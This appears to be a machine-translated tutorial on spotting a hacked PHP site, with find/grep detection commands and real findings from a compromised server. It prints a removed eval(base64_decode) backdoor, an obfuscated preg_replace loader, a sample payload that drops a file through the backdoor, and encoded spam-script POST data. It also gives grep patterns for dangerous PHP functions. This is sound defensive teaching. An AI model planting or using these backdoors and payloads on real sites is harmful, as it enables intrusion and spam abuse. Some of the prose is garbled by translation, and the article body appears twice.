How to find out that your PHP site has been hacked
- Transfer
My friend’s site was recently hacked, an old version of IP.Board was launched on it, in which there is a local file inclusion vulnerability. This post will not be devoted to IP.Board or other php code, it will show how to find potentially malicious php code on your servers. Finally, I will show an example of what attackers can upload to a hacked site.
To start with something, I would like to share some entries from the access log of my friend’s hacked site.
You should often check the access logs on the server, but if you are not careful, URLs such as those that look harmless at first glance may go right past you.
The two files above are the scripts downloaded by the cracker; how they got there does not play a big role, since the code on any two servers will probably be different. However, in this particular example, a vulnerability in an outdated version of IP.Board was exploited, and attackers were able to add their own scripts to writable directories, such as a custom download directory and a directory in which IP.Board stores cached images of the skin . This is a common attack vector, many people change the rights to these directories to 777 or give them write access, more on this later.
Let's take a closer look at the above log lines, nothing catches you?
Note that in the access log POST requests, not GET requests.
Most likely, the attackers wanted to make the access log more inconspicuous, since most logs do not save post data.
There are several ways to identify suspicious php files on your server, here are the best.
Hint: run these commands from the root directory of your site.
Let's start with a simple one, let's say you haven't made any changes to php code for a while, the next command looks for all php files in the current directory tree that have changed in the last week. You can change the mtime option as desired, for example mtime -14 within two weeks.
My hacked server returned the following results:
All these scripts were uploaded by the attacker to the user's download directory.
Note: this command will produce false results if you yourself modified php files in a given period of time. The following methods are much more effective.
This is far from the best approach, the following teams are looking for php files containing attacking scripts. We'll start simple and get more with the advanced search.
The first file check that contains eval, base64_decode, gzinflate or str_rot13.
Hint: the first search parameter is the search directory, the dot means the current directory (and all subdirectories). You can change this parameter to any existing directory name to reduce search results, for example:
If you remove the -l option from grep, it will show the text of the matched file. To go further I would take advantage of this combined team, which is more general
This command will find php files containing eval (str_rot13 (base64_decode (the
grep syntax is very simple and you can change it to your needs). Take a look at the expression above, which we are looking for, this is “eval * (str_rot13 * (base64_decode * (”
Space next to * means zero or more space characters. The above expression will be valid for the following lines:
Tip: expand the expression to look for functions that can be used maliciously, such as mail, fsockopen, pfsockopen, stream_socket_client, exec, system and passthru. You can combine all of these values into one command:
Note: we use egrep, not grep, this allows us to use extended regular expressions.
Finally, here is an equally well-known way to hide code:
preg_replace with the e modifier will execute this code, it looks unusual, however it is just base64 php compressed code that uses some hexadecimal character codes.
\ x65 \ x76 \ x61 \ x6C \ x28 \ x67 \ x7A \ x69 \ x6E \ x66 \ x6C \ x61 \ x74 \ x65 \ x28 \ x62 \ x61 \ x73 \ x65 \ x36 \ x34 \ x5F \ x64 \ x65 \ x63 \ x6F \ x64 \ x65 \ x28 translates as eval (gzinflate (base64_decode ( , and \ x29 \ x29 \ x29 \ x3B, like )));
This command will help you find the use of preg_replace:
Tip: if you get a ton of the results of this command, you can save the result to a file or redirect them to another program called less , which allows you to view the results one page at a time. The f key is responsible for scrolling forward, the q key is for exiting.
With any of the above search commands, you can do the same.
Tip: noticed the hexadecimal x29 at the end? This is the closing bracket, and x3B is a semicolon. You can verify this by running:
You can use find to search for these hex codes in php files for further verification.
This is a good approach if you know that you are not using hexadecimal values in the code.
Most of the methods assume that the attacker uploads files to the north and uses some form of code obfuscation, when other attackers can simply modify the existing php code. In this case, the code may look natural and match the style of the existing script, or it may be confusing.
In order to solve this problem, you need a clean copy of your code if you use widespread php scripts, such as wordpress, vbulletin, IP.Board, etc. - all is ready. If not, I hope you use git or other version control systems and you can get a clean version of your code.
For this example, I will use wordpress.
I have two wordpress-clean folders, which contains the just downloaded copy of wordpress and wordpress-compromised, which contains the threat somewhere in the files.
I can find the differences between my installed wordpress and pure wordpress by running the command:
I excluded wp-content from this search, because everyone has their own themes and plugins.
Tip: make sure you use the same version of wordpress for comparison.
Here are the results of my search:
He has detected malicious code!
What can an attacker do with these 3 lines of code? First, an attacker would find out useful information:
Then he would send a GET or POST request to http: / /YOURSITE/wp-admin/includes/class-wp-importer.php with parameter x containing the script created above. As a result of its execution, the file /wp-content/uploads/wp-upload.php will be created, which displays information about your server. This seems to be not bad, but the fact is that an attacker can run any php code that he wants.
Note: this will only work if the wp-content / uploads directory is writable. Almost always, depending on the settings of the web server, you can change the read / write permissions to other files.
Using the methods presented above, it is easy to find php code in your boot directory. For wordpress, this would be:
Tip: here is a very simple bash script that looks for directories writable and php files in them. The result will be saved to the results.txt file. The script works recursively.
Name the file search_for_php_in_writable and give it execute rights
Save this file in your home directory, and then go to the directory in which you are going to search and run the following command:
Note: if your site is hosted on a shared hosting and the web server is not securely configured, your site may not be the only one prone to attack. The general loading of php shell on vulnerable sites is essentially a tool that gives an attacker a file browser. They can use this tool to download attacking scripts to all folders on the server that are writable, for example, the download directory.
Note: crackers usually try to download images that contain php code, so check for other extensions using the methods listed above.
Do not believe? This file was uploaded as a jpg image to a hacked site. It looks like it was mistaken for binary data. Here is the same file in a more “readable” format.
Still can't read? Just like me to a deeper check. All this code is designed to run this function:
What makes this script irrelevant, you must learn, you need to check your boot directories.
If you are interested, this is just a test scenario to see if the node is vulnerable, the attack occurred later.
If your php code dynamically generates page content and your site has been hacked, an attacker could write malicious code to the database. You can also do a more thorough check.
Go to your site, after loading the page, look at its source HTML code and save it somewhere on your computer, for example mywebsite.txt; Run the following command
Hackers often insert iframes on hacked sites, check all pages on the site!
Tip: use the firebug extension for firefox to view the html content of your resource, an attacker can use javascipt to create an iframe, they will not be displayed when viewing the source code of the page in the browser, because the DOM changes after the page loads. There is also a Live HTTP Headers extension for firefox that will show all current requests on your page. This will make it easy to see web requests, which should not be.
Perhaps the attacker added code to the database. This will only happen if your script stores user code, such as plugins, in the database. So does vBulletin. Although this is rare, you should know this. If you were hacked in this case, then the attacker is likely to insert an iframe into tables that display data on your site.
In this example, we will use mysql or its derivatives.
To do this, I would like to use PHPMyAdmin and this is not usual for me, I prefer to use command line tools, they are available in code, but this tool is convenient for searching.
Personally, I do not run PHPMyAdmin on the production server, I download a copy of the database and run it on the local server. If the database is large, it is not recommended to search for small pieces of text on a production server.
Open PHPMyAdmin select the database and click 'Search'. You can search for strings such as% base64_% and% eval (%, and any other combinations that I have already outlined.
If you are using the Apache web server, check the .htaccess files for suspicious changes.
auto_append_file and auto_prepend_file include other php files at the beginning or end of all php scripts, attackers can use them to include their code.
The following command looks in all subdirectories for .htacсess files that contain 'http'. The result of the search will be a list of all redirection rules, which may include malicious rules.
Some malicious redirects are based on the user agent. It would be nice to look for the use of HTTP_USER_AGENT in .htaccess files. Previous commands can be easily changed, just change the keyword before the semicolon.
For added security, if you can, disable the use of .htaccess in directories and move your configuration to the main apache configuration.
So why do people want to hack your site, what does this mean for them? For some, this is a hobby, but for others, a source of income.
Here is an example of an attacking script uploaded to a hacked site. It is based solely on post operations, most web server logs would be useless in this case. I was able to get the logs of post requests:
The malicious script is basically a SPAM zombie that will send any email to anyone who uses your server to send emails via a post request. The keys in each post request can change and the script is very resourceful, it checks the installed functions and adapts to this. For example, if php mail () is unavailable, it will try to create a socket on port 25 and send email directly through SMTP.
If you are interested in decrypting the data of intruders, use a function called n9a2d8ce3. Mysterious POST data affix destination address and e-mail content.
If you use the advice given in this article, you can easily find such a script.
If you use public php scripts like wordpress, pay attention to critical or security updates not only for the basic installation, but also for extensions such as plugins. Most attackers will try to find thousands of sites with known vulnerabilities, so if you are vulnerable, they will eventually find you.
If you are working on a coven, all the same, you need to constantly check the code, because there should not be vulnerabilities in the libraries that you use.
Check access logs
To start with something, I would like to share some entries from the access log of my friend’s hacked site.
IpreMOVED - - [01/Mar/2013:06:16:48 -0600] "POST /uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-""Mozilla/5.0"
IpreMOVED - - [01/Mar/2013:06:12:58 -0600] "POST /public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-""Mozilla/5.0"
You should often check the access logs on the server, but if you are not careful, URLs such as those that look harmless at first glance may go right past you.
The two files above are the scripts downloaded by the cracker; how they got there does not play a big role, since the code on any two servers will probably be different. However, in this particular example, a vulnerability in an outdated version of IP.Board was exploited, and attackers were able to add their own scripts to writable directories, such as a custom download directory and a directory in which IP.Board stores cached images of the skin . This is a common attack vector, many people change the rights to these directories to 777 or give them write access, more on this later.
Let's take a closer look at the above log lines, nothing catches you?
Note that in the access log POST requests, not GET requests.
Most likely, the attackers wanted to make the access log more inconspicuous, since most logs do not save post data.
Detection of malicious PHP files
There are several ways to identify suspicious php files on your server, here are the best.
Hint: run these commands from the root directory of your site.
Search for recently modified PHP files
Let's start with a simple one, let's say you haven't made any changes to php code for a while, the next command looks for all php files in the current directory tree that have changed in the last week. You can change the mtime option as desired, for example mtime -14 within two weeks.
find . -type f -name '*.php' -mtime -7
My hacked server returned the following results:
./uploads/monthly_04_2008/index.php
./uploads/monthly_10_2008/index.php
./uploads/monthly_08_2009/template.php
./uploads/monthly_02_2013/index.php
All these scripts were uploaded by the attacker to the user's download directory.
Note: this command will produce false results if you yourself modified php files in a given period of time. The following methods are much more effective.
Search all PHP files with suspicious code.
This is far from the best approach, the following teams are looking for php files containing attacking scripts. We'll start simple and get more with the advanced search.
The first file check that contains eval, base64_decode, gzinflate or str_rot13.
find . -type f -name '*.php' | xargs grep -l "eval *(" --color
find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color
Hint: the first search parameter is the search directory, the dot means the current directory (and all subdirectories). You can change this parameter to any existing directory name to reduce search results, for example:
find wp-admin -type f -name '*.php' | xargs grep -l "gzinflate *(" --color
If you remove the -l option from grep, it will show the text of the matched file. To go further I would take advantage of this combined team, which is more general
find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color
This command will find php files containing eval (str_rot13 (base64_decode (the
grep syntax is very simple and you can change it to your needs). Take a look at the expression above, which we are looking for, this is “eval * (str_rot13 * (base64_decode * (”
Space next to * means zero or more space characters. The above expression will be valid for the following lines:
eval(str_rot13(base64_decode
eval( str_rot13( base64_decode
eval( str_rot13( base64_decode
Tip: expand the expression to look for functions that can be used maliciously, such as mail, fsockopen, pfsockopen, stream_socket_client, exec, system and passthru. You can combine all of these values into one command:
find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream_socket_client|exec|system|passthru|eval|base64_decode) *\("
Note: we use egrep, not grep, this allows us to use extended regular expressions.
Finally, here is an equally well-known way to hide code:
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'5b19fxq30jD8d/wp5C3tQoMx4CQ
FILE GOES ON FOR A LONG TIME......
lnSELWEZJakW9R3f7+J+uYuFiiC318gZ9P8C'\x29\x29\x29\x3B",".");
preg_replace with the e modifier will execute this code, it looks unusual, however it is just base64 php compressed code that uses some hexadecimal character codes.
\ x65 \ x76 \ x61 \ x6C \ x28 \ x67 \ x7A \ x69 \ x6E \ x66 \ x6C \ x61 \ x74 \ x65 \ x28 \ x62 \ x61 \ x73 \ x65 \ x36 \ x34 \ x5F \ x64 \ x65 \ x63 \ x6F \ x64 \ x65 \ x28 translates as eval (gzinflate (base64_decode ( , and \ x29 \ x29 \ x29 \ x3B, like )));
This command will help you find the use of preg_replace:
find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *," --color
Tip: if you get a ton of the results of this command, you can save the result to a file or redirect them to another program called less , which allows you to view the results one page at a time. The f key is responsible for scrolling forward, the q key is for exiting.
find . -type f -name '*.php' | xargs grep base64_ | less
find . -type f -name '*.php' | xargs grep base64_ > results.txt
With any of the above search commands, you can do the same.
Tip: noticed the hexadecimal x29 at the end? This is the closing bracket, and x3B is a semicolon. You can verify this by running:
echo chr(hexdec('x29'));
echo chr(hexdec('x3B'));
// outputs );
You can use find to search for these hex codes in php files for further verification.
find . -type f -name '*.php' | xargs grep -il x29
This is a good approach if you know that you are not using hexadecimal values in the code.
We state the facts
Most of the methods assume that the attacker uploads files to the north and uses some form of code obfuscation, when other attackers can simply modify the existing php code. In this case, the code may look natural and match the style of the existing script, or it may be confusing.
In order to solve this problem, you need a clean copy of your code if you use widespread php scripts, such as wordpress, vbulletin, IP.Board, etc. - all is ready. If not, I hope you use git or other version control systems and you can get a clean version of your code.
For this example, I will use wordpress.
I have two wordpress-clean folders, which contains the just downloaded copy of wordpress and wordpress-compromised, which contains the threat somewhere in the files.
drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 .
drwxr-xr-x 4 greg greg 4096 Mar 2 15:59 ..
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-clean
drwxr-xr-x 5 greg greg 4096 Jan 24 15:53 wordpress-compromised
I can find the differences between my installed wordpress and pure wordpress by running the command:
diff -r wordpress-clean/ wordpress-compromised/ -x wp-content
I excluded wp-content from this search, because everyone has their own themes and plugins.
Tip: make sure you use the same version of wordpress for comparison.
Here are the results of my search:
diff -r -x wp-content wordpress-clean/wp-admin/includes/class-wp-importer.phpwordpress-compromised/wp-admin/includes/class-wp-importer.php
302a303,306
>
> if (isset($_REQUEST['x'])) {
> eval(base64_decode($_REQUEST['x']));
> }
He has detected malicious code!
Out of curiosity...
What can an attacker do with these 3 lines of code? First, an attacker would find out useful information:
$payload = "file_put_contents(\"../../wp-content/uploads/wp-upload.php\", \"<?php\nphpinfo();\");";
echo base64_encode($payload);
// output: ZmlsZV9wdXRfY29udGVudHMoIi4uLy4uL3dwLWNvbnRlbnQvdXBsb2Fkcy93cC11cGxvYWQucGhwIiwgIjw/cGhwCnBocGluZm8oKTsiKTs=
Then he would send a GET or POST request to http: / /YOURSITE/wp-admin/includes/class-wp-importer.php with parameter x containing the script created above. As a result of its execution, the file /wp-content/uploads/wp-upload.php will be created, which displays information about your server. This seems to be not bad, but the fact is that an attacker can run any php code that he wants.
Note: this will only work if the wp-content / uploads directory is writable. Almost always, depending on the settings of the web server, you can change the read / write permissions to other files.
Always look for directories available for downloading executable code.
Using the methods presented above, it is easy to find php code in your boot directory. For wordpress, this would be:
find wp-content/uploads -type f -name '*.php'
Tip: here is a very simple bash script that looks for directories writable and php files in them. The result will be saved to the results.txt file. The script works recursively.
#!/bin/bash
search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)
for dir in$writable_dirsdo#echo $dir
find $dir -type f -name '*.php'done
Name the file search_for_php_in_writable and give it execute rights
chmod +x search_for_php_in_writable
Save this file in your home directory, and then go to the directory in which you are going to search and run the following command:
~/search_for_php_in_writable > results.txt
~/search_for_php_in_writable | less
Note: if your site is hosted on a shared hosting and the web server is not securely configured, your site may not be the only one prone to attack. The general loading of php shell on vulnerable sites is essentially a tool that gives an attacker a file browser. They can use this tool to download attacking scripts to all folders on the server that are writable, for example, the download directory.
Note: crackers usually try to download images that contain php code, so check for other extensions using the methods listed above.
find wp-content/uploads -type f | xargs grep -i php
find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php
Do not believe? This file was uploaded as a jpg image to a hacked site. It looks like it was mistaken for binary data. Here is the same file in a more “readable” format.
Still can't read? Just like me to a deeper check. All this code is designed to run this function:
if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") {
functionshutdownCallback(){
echo"<!--".md5("links")."-->";
}
register_shutdown_function("shutdownCallback");
}
What makes this script irrelevant, you must learn, you need to check your boot directories.
If you are interested, this is just a test scenario to see if the node is vulnerable, the attack occurred later.
Where else could malicious code be hiding?
If your php code dynamically generates page content and your site has been hacked, an attacker could write malicious code to the database. You can also do a more thorough check.
Go to your site, after loading the page, look at its source HTML code and save it somewhere on your computer, for example mywebsite.txt; Run the following command
grep -i '<iframe' mywebsite.txt
Hackers often insert iframes on hacked sites, check all pages on the site!
Tip: use the firebug extension for firefox to view the html content of your resource, an attacker can use javascipt to create an iframe, they will not be displayed when viewing the source code of the page in the browser, because the DOM changes after the page loads. There is also a Live HTTP Headers extension for firefox that will show all current requests on your page. This will make it easy to see web requests, which should not be.
Search Database
Perhaps the attacker added code to the database. This will only happen if your script stores user code, such as plugins, in the database. So does vBulletin. Although this is rare, you should know this. If you were hacked in this case, then the attacker is likely to insert an iframe into tables that display data on your site.
In this example, we will use mysql or its derivatives.
To do this, I would like to use PHPMyAdmin and this is not usual for me, I prefer to use command line tools, they are available in code, but this tool is convenient for searching.
Personally, I do not run PHPMyAdmin on the production server, I download a copy of the database and run it on the local server. If the database is large, it is not recommended to search for small pieces of text on a production server.
Open PHPMyAdmin select the database and click 'Search'. You can search for strings such as% base64_% and% eval (%, and any other combinations that I have already outlined.
Check .htaccess files if you are using Apache
If you are using the Apache web server, check the .htaccess files for suspicious changes.
auto_append_file and auto_prepend_file include other php files at the beginning or end of all php scripts, attackers can use them to include their code.
find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file;
find . -type f -name '\.htaccess' | xargs grep -i auto_append_file;
The following command looks in all subdirectories for .htacсess files that contain 'http'. The result of the search will be a list of all redirection rules, which may include malicious rules.
find . -type f -name '\.htaccess' | xargs grep -i http;
Some malicious redirects are based on the user agent. It would be nice to look for the use of HTTP_USER_AGENT in .htaccess files. Previous commands can be easily changed, just change the keyword before the semicolon.
For added security, if you can, disable the use of .htaccess in directories and move your configuration to the main apache configuration.
In the "real world"
So why do people want to hack your site, what does this mean for them? For some, this is a hobby, but for others, a source of income.
Here is an example of an attacking script uploaded to a hacked site. It is based solely on post operations, most web server logs would be useless in this case. I was able to get the logs of post requests:
Array
(
[lsRiY] => YGFsZWN2bXBCY21uLGFtbw==
[eIHSE] => PNxsDhxNdV
[mFgSo] => b2NrbmtsLzIwLG96LGNtbixhbW8=
[dsByW] => PldRR1A8Y3BhamtnXWprYWlxPi1XUUdQPAg+TENPRzwgQ3BhamtnIkprYWlxID4tTENPRzwIPlFX
QEg8RFU4IlRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tUVdASDwiCD5RQE1GWzwIPkA8CD5m
a3Q8PmMianBnZD8ganZ2cjgtLWhndnh4aW5rYWlnbCxhbW8tdXIva2xhbndmZ3EtUWtvcm5nUmtn
LUZnYW1mZy1KVk9OLW5rYCxyanIgPFRoImNlcGMiMywiMjIiQWgiY25rcSIwLCIyMj4tYzw+LWZr
dDwIPi1APAg+cjxqY3JyZ2wuImNsZiJ1amdsInZqZyJgbXsicGdjYWpnZiJjZWNrbCJrbHZtInZq
ZyJ2bXsiYG16IksiZG13bGYib3txZ25kIkxndGdwImpnY3BmIm1kImt2LHZqZyIicmptdm1lcGNy
anEibWQidmpnImNwdmtkY2F2InZqY3YidWcidWdwZyJubW1pa2xlImRtcCIiY2xmIiJyY3FxZ2Yi
UnducWciImVtbWYuImpnInFja2YuImlsZ2dua2xlImBncWtmZyJtd3AiZHBrZ2xmLCJKZyJqY3Ei
InZjaWdsIiI+LXI8CD4tUUBNRls8CA==
[GGhp] => a3ZAbFFTSlJSbFo=
[AIQXa] => e3VWT2VvQ0hyS0ha
)
The malicious script is basically a SPAM zombie that will send any email to anyone who uses your server to send emails via a post request. The keys in each post request can change and the script is very resourceful, it checks the installed functions and adapts to this. For example, if php mail () is unavailable, it will try to create a socket on port 25 and send email directly through SMTP.
If you are interested in decrypting the data of intruders, use a function called n9a2d8ce3. Mysterious POST data affix destination address and e-mail content.
If you use the advice given in this article, you can easily find such a script.
Conclusion
If you use public php scripts like wordpress, pay attention to critical or security updates not only for the basic installation, but also for extensions such as plugins. Most attackers will try to find thousands of sites with known vulnerabilities, so if you are vulnerable, they will eventually find you.
If you are working on a coven, all the same, you need to constantly check the code, because there should not be vulnerabilities in the libraries that you use.